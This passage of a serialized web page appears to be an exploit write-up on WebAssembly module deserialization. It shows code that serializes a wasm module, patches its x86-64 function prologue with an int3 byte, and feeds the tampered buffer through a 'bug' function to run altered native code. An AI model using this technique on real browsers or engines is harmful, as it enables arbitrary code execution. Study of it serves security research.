[134910],{"type":27,"value":602},{"type":22,"tag":264,"props":134912,"children":134913},{"style":1539},[134914],{"type":27,"value":4380},{"type":22,"tag":264,"props":134916,"children":134917},{"style":4344},[134918],{"type":27,"value":5334},{"type":22,"tag":264,"props":134920,"children":134921},{"style":1539},[134922],{"type":27,"value":4380},{"type":22,"tag":264,"props":134924,"children":134925},{"style":4344},[134926],{"type":27,"value":55992},{"type":22,"tag":264,"props":134928,"children":134929},{"style":1539},[134930],{"type":27,"value":4380},{"type":22,"tag":264,"props":134932,"children":134933},{"style":4344},[134934],{"type":27,"value":57206},{"type":22,"tag":264,"props":134936,"children":134937},{"style":1539},[134938],{"type":27,"value":4380},{"type":22,"tag":264,"props":134940,"children":134941},{"style":4344},[134942],{"type":27,"value":602},{"type":22,"tag":264,"props":134944,"children":134945},{"style":1539},[134946],{"type":27,"value":4380},{"type":22,"tag":264,"props":134948,"children":134949},{"style":4344},[134950],{"type":27,"value":885},{"type":22,"tag":264,"props":134952,"children":134953},{"style":1539},[134954],{"type":27,"value":4380},{"type":22,"tag":264,"props":134956,"children":134957},{"style":4344},[134958],{"type":27,"value":134796},{"type":22,"tag":264,"props":134960,"children":134961},{"style":1539},[134962],{"type":27,"value":4380},{"type":22,"tag":264,"props":134964,"children":134965},{"style":4344},[134966],{"type":27,"value":134967},"104",{"type":22,"tag":264,"props":134969,"children":134970},{"style":1539},[134971],{"type":27,"value":4380},{"type":22,"tag":264,"props":134973,"children":134974},{"style":4344},[134975],{"type":27,"value":134976},"101",{"type":22,"tag":264,"props":134978,"children":134979},{"style":1539},[134980],{"type":27,"value":4380},{"type":22,"tag":264,"props":134982,"children":134983},{"style":4344},[134984],{"type":27,"value":134985},"108",{"type":22,"tag":264,"props":134987,"children":134988},{"style":1539},[134989],{"type":27,"value":4380},{"type":22,"tag":264,"props":134991,"children":134992},{"style":4344},[134993],{"type":27,"value":134985},{"type":22,"tag":264,"props":134995,"children":134996},{"style":1539},[134997],{"type":27,"value":4812},{"type":22,"tag":264,"props":134999,"children":135000},{"class":1534,"line":1560},[135001,135005,135009,135013,135017,135021,135025,135029,135033,135037,135041,135045,135049,135053,135057,135062],{"type":22,"tag":264,"props":135002,"children":135003},{"style":4344},[135004],{"type":27,"value":134778},{"type":22,"tag":264,"props":135006,"children":135007},{"style":1539},[135008],{"type":27,"value":4380},{"type":22,"tag":264,"props":135010,"children":135011},{"style":4344},[135012],{"type":27,"value":5334},{"type":22,"tag":264,"props":135014,"children":135015},{"style":1539},[135016],{"type":27,"value":4380},{"type":22,"tag":264,"props":135018,"children":135019},{"style":4344},[135020],{"type":27,"value":346},{"type":22,"tag":264,"props":135022,"children":135023},{"style":1539},[135024],{"type":27,"value":4380},{"type":22,"tag":264,"props":135026,"children":135027},{"style":4344},[135028],{"type":27,"value":18831},{"type":22,"tag":264,"props":135030,"children":135031},{"style":1539},[135032],{"type":27,"value":4380},{"type":22,"tag":264,"props":135034,"children":135035},{"style":4344},[135036],{"type":27,"value":602},{"type":22,"tag":264,"props":135038,"children":135039},{"style":1539},[135040],{"type":27,"value":4380},{"type":22,"tag":264,"props":135042,"children":135043},{"style":4344},[135044],{"type":27,"value":3568},{"type":22,"tag":264,"props":135046,"children":135047},{"style":1539},[135048],{"type":27,"value":4380},{"type":22,"tag":264,"props":135050,"children":135051},{"style":4344},[135052],{"type":27,"value":5334},{"type":22,"tag":264,"props":135054,"children":135055},{"style":1539},[135056],{"type":27,"value":4380},{"type":22,"tag":264,"props":135058,"children":135059},{"style":4344},[135060],{"type":27,"value":135061},"11",{"type":22,"tag":264,"props":135063,"children":135064},{"style":1539},[135065],{"type":27,"value":4812},{"type":22,"tag":264,"props":135067,"children":135068},{"class":1534,"line":1569},[135069],{"type":22,"tag":264,"props":135070,"children":135071},{"style":1539},[135072],{"type":27,"value":5064},{"type":22,"tag":264,"props":135074,"children":135075},{"class":1534,"line":1583},[135076,135080,135084,135088,135092,135097,135101,135105,135109,135114],{"type":22,"tag":264,"props":135077,"children":135078},{"style":4293},[135079],{"type":27,"value":36361},{"type":22,"tag":264,"props":135081,"children":135082},{"style":1549},[135083],{"type":27,"value":72948},{"type":22,"tag":264,"props":135085,"children":135086},{"style":4309},[135087],{"type":27,"value":4312},{"type":22,"tag":264,"props":135089,"children":135090},{"style":4293},[135091],{"type":27,"value":33248},{"type":22,"tag":264,"props":135093,"children":135094},{"style":1549},[135095],{"type":27,"value":135096}," WebAssembly",{"type":22,"tag":264,"props":135098,"children":135099},{"style":1539},[135100],{"type":27,"value":210},{"type":22,"tag":264,"props":135102,"children":135103},{"style":4401},[135104],{"type":27,"value":87244},{"type":22,"tag":264,"props":135106,"children":135107},{"style":1539},[135108],{"type":27,"value":2660},{"type":22,"tag":264,"props":135110,"children":135111},{"style":1549},[135112],{"type":27,"value":135113},"wasm_code",{"type":22,"tag":264,"props":135115,"children":135116},{"style":1539},[135117],{"type":27,"value":5142},{"type":22,"tag":264,"props":135119,"children":135120},{"class":1534,"line":1603},[135121,135125,135130,135134,135138,135142,135146,135151,135155,135160],{"type":22,"tag":264,"props":135122,"children":135123},{"style":4293},[135124],{"type":27,"value":36361},{"type":22,"tag":264,"props":135126,"children":135127},{"style":1549},[135128],{"type":27,"value":135129}," inst",{"type":22,"tag":264,"props":135131,"children":135132},{"style":4309},[135133],{"type":27,"value":4312},{"type":22,"tag":264,"props":135135,"children":135136},{"style":4293},[135137],{"type":27,"value":33248},{"type":22,"tag":264,"props":135139,"children":135140},{"style":1549},[135141],{"type":27,"value":135096},{"type":22,"tag":264,"props":135143,"children":135144},{"style":1539},[135145],{"type":27,"value":210},{"type":22,"tag":264,"props":135147,"children":135148},{"style":4401},[135149],{"type":27,"value":135150},"Instance",{"type":22,"tag":264,"props":135152,"children":135153},{"style":1539},[135154],{"type":27,"value":2660},{"type":22,"tag":264,"props":135156,"children":135157},{"style":1549},[135158],{"type":27,"value":135159},"mod",{"type":22,"tag":264,"props":135161,"children":135162},{"style":1539},[135163],{"type":27,"value":5142},{"type":22,"tag":264,"props":135165,"children":135166},{"class":1534,"line":1612},[135167,135171,135175,135179,135183,135187,135191,135195,135200],{"type":22,"tag":264,"props":135168,"children":135169},{"style":4293},[135170],{"type":27,"value":36361},{"type":22,"tag":264,"props":135172,"children":135173},{"style":1549},[135174],{"type":27,"value":81335},{"type":22,"tag":264,"props":135176,"children":135177},{"style":4309},[135178],{"type":27,"value":4312},{"type":22,"tag":264,"props":135180,"children":135181},{"style":1549},[135182],{"type":27,"value":135129},{"type":22,"tag":264,"props":135184,"children":135185},{"style":1539},[135186],{"type":27,"value":210},{"type":22,"tag":264,"props":135188,"children":135189},{"style":1549},[135190],{"type":27,"value":39200},{"type":22,"tag":264,"props":135192,"children":135193},{"style":1539},[135194],{"type":27,"value":210},{"type":22,"tag":264,"props":135196,"children":135197},{"style":1549},[135198],{"type":27,"value":135199},"shell",{"type":22,"tag":264,"props":135201,"children":135202},{"style":1539},[135203],{"type":27,"value":4322},{"type":22,"tag":264,"props":135205,"children":135206},{"class":1534,"line":1621},[135207],{"type":22,"tag":264,"props":135208,"children":135209},{"emptyLinePlaceholder":17},[135210],{"type":27,"value":4986},{"type":22,"tag":264,"props":135212,"children":135213},{"class":1534,"line":1629},[135214,135218,135223,135227,135231],{"type":22,"tag":264,"props":135215,"children":135216},{"style":4309},[135217],{"type":27,"value":57709},{"type":22,"tag":264,"props":135219,"children":135220},{"style":4401},[135221],{"type":27,"value":135222},"WasmTierUpFunction",{"type":22,"tag":264,"props":135224,"children":135225},{"style":1539},[135226],{"type":27,"value":2660},{"type":22,"tag":264,"props":135228,"children":135229},{"style":1549},[135230],{"type":27,"value":77626},{"type":22,"tag":264,"props":135232,"children":135233},{"style":1539},[135234],{"type":27,"value":5142},{"type":22,"tag":264,"props":135236,"children":135237},{"class":1534,"line":1642},[135238,135242,135247,135251,135256,135260,135264,135268],{"type":22,"tag":264,"props":135239,"children":135240},{"style":4293},[135241],{"type":27,"value":36361},{"type":22,"tag":264,"props":135243,"children":135244},{"style":1549},[135245],{"type":27,"value":135246}," serialized",{"type":22,"tag":264,"props":135248,"children":135249},{"style":4309},[135250],{"type":27,"value":4312},{"type":22,"tag":264,"props":135252,"children":135253},{"style":4309},[135254],{"type":27,"value":135255}," %",{"type":22,"tag":264,"props":135257,"children":135258},{"style":4401},[135259],{"type":27,"value":134254},{"type":22,"tag":264,"props":135261,"children":135262},{"style":1539},[135263],{"type":27,"value":2660},{"type":22,"tag":264,"props":135265,"children":135266},{"style":1549},[135267],{"type":27,"value":135159},{"type":22,"tag":264,"props":135269,"children":135270},{"style":1539},[135271],{"type":27,"value":5142},{"type":22,"tag":264,"props":135273,"children":135274},{"class":1534,"line":1660},[135275,135279,135283,135287,135291,135295,135299,135304],{"type":22,"tag":264,"props":135276,"children":135277},{"style":4293},[135278],{"type":27,"value":13086},{"type":22,"tag":264,"props":135280,"children":135281},{"style":1549},[135282],{"type":27,"value":10457},{"type":22,"tag":264,"props":135284,"children":135285},{"style":4309},[135286],{"type":27,"value":4312},{"type":22,"tag":264,"props":135288,"children":135289},{"style":4293},[135290],{"type":27,"value":33248},{"type":22,"tag":264,"props":135292,"children":135293},{"style":4401},[135294],{"type":27,"value":134765},{"type":22,"tag":264,"props":135296,"children":135297},{"style":1539},[135298],{"type":27,"value":2660},{"type":22,"tag":264,"props":135300,"children":135301},{"style":1549},[135302],{"type":27,"value":135303},"serialized",{"type":22,"tag":264,"props":135305,"children":135306},{"style":1539},[135307],{"type":27,"value":5142},{"type":22,"tag":264,"props":135309,"children":135310},{"class":1534,"line":1668},[135311,135316,135320,135324,135328,135333,135337,135341,135345,135350,135354,135359,135363,135367,135372],{"type":22,"tag":264,"props":135312,"children":135313},{"style":1549},[135314],{"type":27,"value":135315},"console",{"type":22,"tag":264,"props":135317,"children":135318},{"style":1539},[135319],{"type":27,"value":210},{"type":22,"tag":264,"props":135321,"children":135322},{"style":4401},[135323],{"type":27,"value":103274},{"type":22,"tag":264,"props":135325,"children":135326},{"style":1539},[135327],{"type":27,"value":2660},{"type":22,"tag":264,"props":135329,"children":135330},{"style":1597},[135331],{"type":27,"value":135332},"'['",{"type":22,"tag":264,"props":135334,"children":135335},{"style":4309},[135336],{"type":27,"value":10200},{"type":22,"tag":264,"props":135338,"children":135339},{"style":1549},[135340],{"type":27,"value":10457},{"type":22,"tag":264,"props":135342,"children":135343},{"style":1539},[135344],{"type":27,"value":210},{"type":22,"tag":264,"props":135346,"children":135347},{"style":4401},[135348],{"type":27,"value":135349},"join",{"type":22,"tag":264,"props":135351,"children":135352},{"style":1539},[135353],{"type":27,"value":2660},{"type":22,"tag":264,"props":135355,"children":135356},{"style":1597},[135357],{"type":27,"value":135358},"', '",{"type":22,"tag":264,"props":135360,"children":135361},{"style":1539},[135362],{"type":27,"value":4390},{"type":22,"tag":264,"props":135364,"children":135365},{"style":4309},[135366],{"type":27,"value":673},{"type":22,"tag":264,"props":135368,"children":135369},{"style":1597},[135370],{"type":27,"value":135371}," ']'",{"type":22,"tag":264,"props":135373,"children":135374},{"style":1539},[135375],{"type":27,"value":5142},{"type":22,"tag":23,"props":135377,"children":135378},{},[135379],{"type":27,"value":135380},"This produces the following output:",{"type":22,"tag":618,"props":135382,"children":135384},{"code":135383},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[135385],{"type":22,"tag":257,"props":135386,"children":135387},{"__ignoreMap":7},[135388],{"type":27,"value":135383},{"type":22,"tag":23,"props":135390,"children":135391},{},[135392,135394,135400,135402,135408,135410,135416,135417,135423,135425,135430],{"type":27,"value":135393},"The bytes ",{"type":22,"tag":257,"props":135395,"children":135397},{"className":135396},[],[135398],{"type":27,"value":135399},"85, 72, 137, 229, ...",{"type":27,"value":135401}," correspond to the x86-64 function prologue (",{"type":22,"tag":257,"props":135403,"children":135405},{"className":135404},[],[135406],{"type":27,"value":135407},"push rbp; mov rbp, rsp",{"type":27,"value":135409},"). We replace the first byte with ",{"type":22,"tag":257,"props":135411,"children":135413},{"className":135412},[],[135414],{"type":27,"value":135415},"0xcc",{"type":27,"value":17760},{"type":22,"tag":257,"props":135418,"children":135420},{"className":135419},[],[135421],{"type":27,"value":135422},"int3",{"type":27,"value":135424}," opcode), and use this modified buffer as the serialized input to ",{"type":22,"tag":257,"props":135426,"children":135428},{"className":135427},[],[135429],{"type":27,"value":134228},{"type":27,"value":5785},{"type":22,"tag":618,"props":135432,"children":135434},{"code":135433,"language":36930,"meta":7,"className":36928,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n    0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n    195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  f();\n})();\n",[135435],{"type":22,"tag":257,"props":135436,"children":135437},{"__ignoreMap":7},[135438,135461,135488,135708,135775,135783,135810,136024,136276,136527,136753,136997,137217,137224,137273,137318,137362,137401,137413],{"type":22,"tag":264,"props":135439,"children":135440},{"class":1534,"line":1535},[135441,135445,135449,135453,135457],{"type":22,"tag":264,"props":135442,"children":135443},{"style":1539},[135444],{"type":27,"value":2660},{"type":22,"tag":264,"props":135446,"children":135447},{"style":4293},[135448],{"type":27,"value":37460},{"type":22,"tag":264,"props":135450,"children":135451},{"style":1539},[135452],{"type":27,"value":41011},{"type":22,"tag":264,"props":135454,"children":135455},{"style":4293},[135456],{"type":27,"value":16121},{"type":22,"tag":264,"props":135458,"children":135459},{"style":1539},[135460],{"type":27,"value":4594},{"type":22,"tag":264,"props":135462,"children":135463},{"class":1534,"line":1545},[135464,135468,135472,135476,135480,135484],{"type":22,"tag":264,"props":135465,"children":135466},{"style":4293},[135467],{"type":27,"value":37503},{"type":22,"tag":264,"props":135469,"children":135470},{"style":1549},[135471],{"type":27,"value":134752},{"type":22,"tag":264,"props":135473,"children":135474},{"style":4309},[135475],{"type":27,"value":4312},{"type":22,"tag":264,"props":135477,"children":135478},{"style":4293},[135479],{"type":27,"value":33248},{"type":22,"tag":264,"props":135481,"children":135482},{"style":4401},[135483],{"type":27,"value":134765},{"type":22,"tag":264,"props":135485,"children":135486},{"style":1539},[135487],{"type":27,"value":134770},{"type":22,"tag":264,"props":135489,"children":135490},{"class":1534,"line":1560},[135491,135496,135500,135504,135508,135512,135516,135520,135524,135528,135532,135536,135540,135544,135548,135552,135556,135560,135564,135568,135572,135576,135580,135584,135588,135592,135596,135600,135604,135608,135612,135616,135620,135624,135628,135632,135636,135640,135644,135648,135652,135656,135660,135664,135668,135672,135676,135680,135684,135688,135692,135696,135700,135704],{"type":22,"tag":264,"props":135492,"children":135493},{"style":4344},[135494],{"type":27,"value":135495},"    0",{"type":22,"tag":264,"props":135497,"children":135498},{"style":1539},[135499],{"type":27,"value":4380},{"type":22,"tag":264,"props":135501,"children":135502},{"style":4344},[135503],{"type":27,"value":134787},{"type":22,"tag":264,"props":135505,"children":135506},{"style":1539},[135507],{"type":27,"value":4380},{"type":22,"tag":264,"props":135509,"children":135510},{"style":4344},[135511],{"type":27,"value":134796},{"type":22,"tag":264,"props":135513,"children":135514},{"style":1539},[135515],{"type":27,"value":4380},{"type":22,"tag":264,"props":135517,"children":135518},{"style":4344},[135519],{"type":27,"value":134805},{"type":22,"tag":264,"props":135521,"children":135522},{"style":1539},[135523],{"type":27,"value":4380},{"type":22,"tag":264,"props":135525,"children":135526},{"style":4344},[135527],{"type":27,"value":602},{"type":22,"tag":264,"props":135529,"children":135530},{"style":1539},[135531],{"type":27,"value":4380},{"type":22,"tag":264,"props":135533,"children":135534},{"style":4344},[135535],{"type":27,"value":5334},{"type":22,"tag":264,"props":135537,"children":135538},{"style":1539},[135539],{"type":27,"value":4380},{"type":22,"tag":264,"props":135541,"children":135542},{"style":4344},[135543],{"type":27,"value":5334},{"type":22,"tag":264,"props":135545,"children":135546},{"style":1539},[135547],{"type":27,"value":4380},{"type":22,"tag":264,"props":135549,"children":135550},{"style":4344},[135551],{"type":27,"value":5334},{"type":22,"tag":264,"props":135553,"children":135554},{"style":1539},[135555],{"type":27,"value":4380},{"type":22,"tag":264,"props":135557,"children":135558},{"style":4344},[135559],{"type":27,"value":602},{"type":22,"tag":264,"props":135561,"children":135562},{"style":1539},[135563],{"type":27,"value":4380},{"type":22,"tag":264,"props":135565,"children":135566},{"style":4344},[135567],{"type":27,"value":18831},{"type":22,"tag":264,"props":135569,"children":135570},{"style":1539},[135571],{"type":27,"value":4380},{"type":22,"tag":264,"props":135573,"children":135574},{"style":4344},[135575],{"type":27,"value":602},{"type":22,"tag":264,"props":135577,"children":135578},{"style":1539},[135579],{"type":27,"value":4380},{"type":22,"tag":264,"props":135581,"children":135582},{"style":4344},[135583],{"type":27,"value":134870},{"type":22,"tag":264,"props":135585,"children":135586},{"style":1539},[135587],{"type":27,"value":4380},{"type":22,"tag":264,"props":135589,"children":135590},{"style":4344},[135591],{"type":27,"value":5334},{"type":22,"tag":264,"props":135593,"children":135594},{"style":1539},[135595],{"type":27,"value":4380},{"type":22,"tag":264,"props":135597,"children":135598},{"style":4344},[135599],{"type":27,"value":5334},{"type":22,"tag":264,"props":135601,"children":135602},{"style":1539},[135603],{"type":27,"value":4380},{"type":22,"tag":264,"props":135605,"children":135606},{"style":4344},[135607],{"type":27,"value":18598},{"type":22,"tag":264,"props":135609,"children":135610},{"style":1539},[135611],{"type":27,"value":4380},{"type":22,"tag":264,"props":135613,"children":135614},{"style":4344},[135615],{"type":27,"value":3568},{"type":22,"tag":264,"props":135617,"children":135618},{"style":1539},[135619],{"type":27,"value":4380},{"type":22,"tag":264,"props":135621,"children":135622},{"style":4344},[135623],{"type":27,"value":602},{"type":22,"tag":264,"props":135625,"children":135626},{"style":1539},[135627],{"type":27,"value":4380},{"type":22,"tag":264,"props":135629,"children":135630},{"style":4344},[135631],{"type":27,"value":5334},{"type":22,"tag":264,"props":135633,"children":135634},{"style":1539},[135635],{"type":27,"value":4380},{"type":22,"tag":264,"props":135637,"children":135638},{"style":4344},[135639],{"type":27,"value":55992},{"type":22,"tag":264,"props":135641,"children":135642},{"style":1539},[135643],{"type":27,"value":4380},{"type":22,"tag":264,"props":135645,"children":135646},{"style":4344},[135647],{"type":27,"value":57206},{"type":22,"tag":264,"props":135649,"children":135650},{"style":1539},[135651],{"type":27,"value":4380},{"type":22,"tag":264,"props":135653,"children":135654},{"style":4344},[135655],{"type":27,"value":602},{"type":22,"tag":264,"props":135657,"children":135658},{"style":1539},[135659],{"type":27,"value":4380},{"type":22,"tag":264,"props":135661,"children":135662},{"style":4344},[135663],{"type":27,"value":885},{"type":22,"tag":264,"props":135665,"children":135666},{"style":1539},[135667],{"type":27,"value":4380},{"type":22,"tag":264,"props":135669,"children":135670},{"style":4344},[135671],{"type":27,"value":134796},{"type":22,"tag":264,"props":135673,"children":135674},{"style":1539},[135675],{"type":27,"value":4380},{"type":22,"tag":264,"props":135677,"children":135678},{"style":4344},[135679],{"type":27,"value":134967},{"type":22,"tag":264,"props":135681,"children":135682},{"style":1539},[135683],{"type":27,"value":4380},{"type":22,"tag":264,"props":135685,"children":135686},{"style":4344},[135687],{"type":27,"value":134976},{"type":22,"tag":264,"props":135689,"children":135690},{"style":1539},[135691],{"type":27,"value":4380},{"type":22,"tag":264,"props":135693,"children":135694},{"style":4344},[135695],{"type":27,"value":134985},{"type":22,"tag":264,"props":135697,"children":135698},{"style":1539},[135699],{"type":27,"value":4380},{"type":22,"tag":264,"props":135701,"children":135702},{"style":4344},[135703],{"type":27,"value":134985},{"type":22,"tag":264,"props":135705,"children":135706},{"style":1539},[135707],{"type":27,"value":4812},{"type":22,"tag":264,"props":135709,"children":135710},{"class":1534,"line":1569},[135711,135715,135719,135723,135727,135731,135735,135739,135743,135747,135751,135755,135759,135763,135767,135771],{"type":22,"tag":264,"props":135712,"children":135713},{"style":4344},[135714],{"type":27,"value":135495},{"type":22,"tag":264,"props":135716,"children":135717},{"style":1539},[135718],{"type":27,"value":4380},{"type":22,"tag":264,"props":135720,"children":135721},{"style":4344},[135722],{"type":27,"value":5334},{"type":22,"tag":264,"props":135724,"children":135725},{"style":1539},[135726],{"type":27,"value":4380},{"type":22,"tag":264,"props":135728,"children":135729},{"style":4344},[135730],{"type":27,"value":346},{"type":22,"tag":264,"props":135732,"children":135733},{"style":1539},[135734],{"type":27,"value":4380},{"type":22,"tag":264,"props":135736,"children":135737},{"style":4344},[135738],{"type":27,"value":18831},{"type":22,"tag":264,"props":135740,"children":135741},{"style":1539},[135742],{"type":27,"value":4380},{"type":22,"tag":264,"props":135744,"children":135745},{"style":4344},[135746],{"type":27,"value":602},{"type":22,"tag":264,"props":135748,"children":135749},{"style":1539},[135750],{"type":27,"value":4380},{"type":22,"tag":264,"props":135752,"children":135753},{"style":4344},[135754],{"type":27,"value":3568},{"type":22,"tag":264,"props":135756,"children":135757},{"style":1539},[135758],{"type":27,"value":4380},{"type":22,"tag":264,"props":135760,"children":135761},{"style":4344},[135762],{"type":27,"value":5334},{"type":22,"tag":264,"props":135764,"children":135765},{"style":1539},[135766],{"type":27,"value":4380},{"type":22,"tag":264,"props":135768,"children":135769},{"style":4344},[135770],{"type":27,"value":135061},{"type":22,"tag":264,"props":135772,"children":135773},{"style":1539},[135774],{"type":27,"value":4812},{"type":22,"tag":264,"props":135776,"children":135777},{"class":1534,"line":1583},[135778],{"type":22,"tag":264,"props":135779,"children":135780},{"style":1539},[135781],{"type":27,"value":135782},"  ]);\n",{"type":22,"tag":264,"props":135784,"children":135785},{"class":1534,"line":1603},[135786,135790,135794,135798,135802,135806],{"type":22,"tag":264,"props":135787,"children":135788},{"style":4293},[135789],{"type":27,"value":37503},{"type":22,"tag":264,"props":135791,"children":135792},{"style":1549},[135793],{"type":27,"value":126567},{"type":22,"tag":264,"props":135795,"children":135796},{"style":4309},[135797],{"type":27,"value":4312},{"type":22,"tag":264,"props":135799,"children":135800},{"style":4293},[135801],{"type":27,"value":33248},{"type":22,"tag":264,"props":135803,"children":135804},{"style":4401},[135805],{"type":27,"value":134765},{"type":22,"tag":264,"props":135807,"children":135808},{"style":1539},[135809],{"type":27,"value":134770},{"type":22,"tag":264,"props":135811,"children":135812},{"class":1534,"line":1612},[135813,135818,135822,135826,135830,135835,135839,135844,135848,135853,135857,135862,135866,135871,135875,135880,135884,135889,135893,135898,135902,135906,135910,135914,135918,135923,135927,135932,135936,135940,135944,135948,135952,135956,135960,135964,135968,135972,135976,135980,135984,135988,135992,135996,136000,136004,136008,136012,136016,136020],{"type":22,"tag":264,"props":135814,"children":135815},{"style":4344},[135816],{"type":27,"value":135817},"    147",{"type":22,"tag":264,"props":135819,"children":135820},{"style":1539},[135821],{"type":27,"value":4380},{"type":22,"tag":264,"props":135823,"children":135824},{"style":4344},[135825],{"type":27,"value":19723},{"type":22,"tag":264,"props":135827,"children":135828},{"style":1539},[135829],{"type":27,"value":4380},{"type":22,"tag":264,"props":135831,"children":135832},{"style":4344},[135833],{"type":27,"value":135834},"222",{"type":22,"tag":264,"props":135836,"children":135837},{"style":1539},[135838],{"type":27,"value":4380},{"type":22,"tag":264,"props":135840,"children":135841},{"style":4344},[135842],{"type":27,"value":135843},"192",{"type":22,"tag":264,"props":135845,"children":135846},{"style":1539},[135847],{"type":27,"value":4380},{"type":22,"tag":264,"props":135849,"children":135850},{"style":4344},[135851],{"type":27,"value":135852},"20",{"type":22,"tag":264,"props":135854,"children":135855},{"style":1539},[135856],{"type":27,"value":4380},{"type":22,"tag":264,"props":135858,"children":135859},{"style":4344},[135860],{"type":27,"value":135861},"119",{"type":22,"tag":264,"props":135863,"children":135864},{"style":1539},[135865],{"type":27,"value":4380},{"type":22,"tag":264,"props":135867,"children":135868},{"style":4344},[135869],{"type":27,"value":135870},"44",{"type":22,"tag":264,"props":135872,"children":135873},{"style":1539},[135874],{"type":27,"value":4380},{"type":22,"tag":264,"props":135876,"children":135877},{"style":4344},[135878],{"type":27,"value":135879},"43",{"type":22,"tag":264,"props":135881,"children":135882},{"style":1539},[135883],{"type":27,"value":4380},{"type":22,"tag":264,"props":135885,"children":135886},{"style":4344},[135887],{"type":27,"value":135888},"127",{"type":22,"tag":264,"props":135890,"children":135891},{"style":1539},[135892],{"type":27,"value":4380},{"type":22,"tag":264,"props":135894,"children":135895},{"style":4344},[135896],{"type":27,"value":135897},"62",{"type":22,"tag":264,"props":135899,"children":135900},{"style":1539},[135901],{"type":27,"value":4380},{"type":22,"tag":264,"props":135903,"children":135904},{"style":4344},[135905],{"type":27,"value":18598},{"type":22,"tag":264,"props":135907,"children":135908},{"style":1539},[135909],{"type":27,"value":4380},{"type":22,"tag":264,"props":135911,"children":135912},{"style":4344},[135913],{"type":27,"value":5334},{"type":22,"tag":264,"props":135915,"children":135916},{"style":1539},[135917],{"type":27,"value":4380},{"type":22,"tag":264,"props":135919,"children":135920},{"style":4344},[135921],{"type":27,"value":135922},"159",{"type":22,"tag":264,"props":135924,"children":135925},{"style":1539},[135926],{"type":27,"value":4380},{"type":22,"tag":264,"props":135928,"children":135929},{"style":4344},[135930],{"type":27,"value":135931},"206",{"type":22,"tag":264,"props":135933,"children":135934},{"style":1539},[135935],{"type":27,"value":4380},{"type":22,"tag":264,"props":135937,"children":135938},{"style":4344},[135939],{"type":27,"value":45469},{"type":22,"tag":264,"props":135941,"children":135942},{"style":1539},[135943],{"type":27,"value":4380},{"type":22,"tag":264,"props":135945,"children":135946},{"style":4344},[135947],{"type":27,"value":135879},{"type":22,"tag":264,"props":135949,"children":135950},{"style":1539},[135951],{"type":27,"value":4380},{"type":22,"tag":264,"props":135953,"children":135954},{"style":4344},[135955],{"type":27,"value":5334},{"type":22,"tag":264,"props":135957,"children":135958},{"style":1539},[135959],{"type":27,"value":4380},{"type":22,"tag":264,"props":135961,"children":135962},{"style":4344},[135963],{"type":27,"value":5334},{"type":22,"tag":264,"props":135965,"children":135966},{"style":1539},[135967],{"type":27,"value":4380},{"type":22,"tag":264,"props":135969,"children":135970},{"style":4344},[135971],{"type":27,"value":18598},{"type":22,"tag":264,"props":135973,"children":135974},{"style":1539},[135975],{"type":27,"value":4380},{"type":22,"tag":264,"props":135977,"children":135978},{"style":4344},[135979],{"type":27,"value":5334},{"type":22,"tag":264,"props":135981,"children":135982},{"style":1539},[135983],{"type":27,"value":4380},{"type":22,"tag":264,"props":135985,"children":135986},{"style":4344},[135987],{"type":27,"value":5334},{"type":22,"tag":264,"props":135989,"children":135990},{"style":1539},[135991],{"type":27,"value":4380},{"type":22,"tag":264,"props":135993,"children":135994},{"style":4344},[135995],{"type":27,"value":5334},{"type":22,"tag":264,"props":135997,"children":135998},{"style":1539},[135999],{"type":27,"value":4380},{"type":22,"tag":264,"props":136001,"children":136002},{"style":4344},[136003],{"type":27,"value":5334},{"type":22,"tag":264,"props":136005,"children":136006},{"style":1539},[136007],{"type":27,"value":4380},{"type":22,"tag":264,"props":136009,"children":136010},{"style":4344},[136011],{"type":27,"value":5334},{"type":22,"tag":264,"props":136013,"children":136014},{"style":1539},[136015],{"type":27,"value":4380},{"type":22,"tag":264,"props":136017,"children":136018},{"style":4344},[136019],{"type":27,"value":30736},{"type":22,"tag":264,"props":136021,"children":136022},{"style":1539},[136023],{"type":27,"value":4812},{"type":22,"tag":264,"props":136025,"children":136026},{"class":1534,"line":1621},[136027,136031,136035,136039,136043,136047,136051,136055,136059,136063,136067,136071,136075,136079,136083,136087,136091,136095,136099,136103,136107,136111,136115,136119,136123,136127,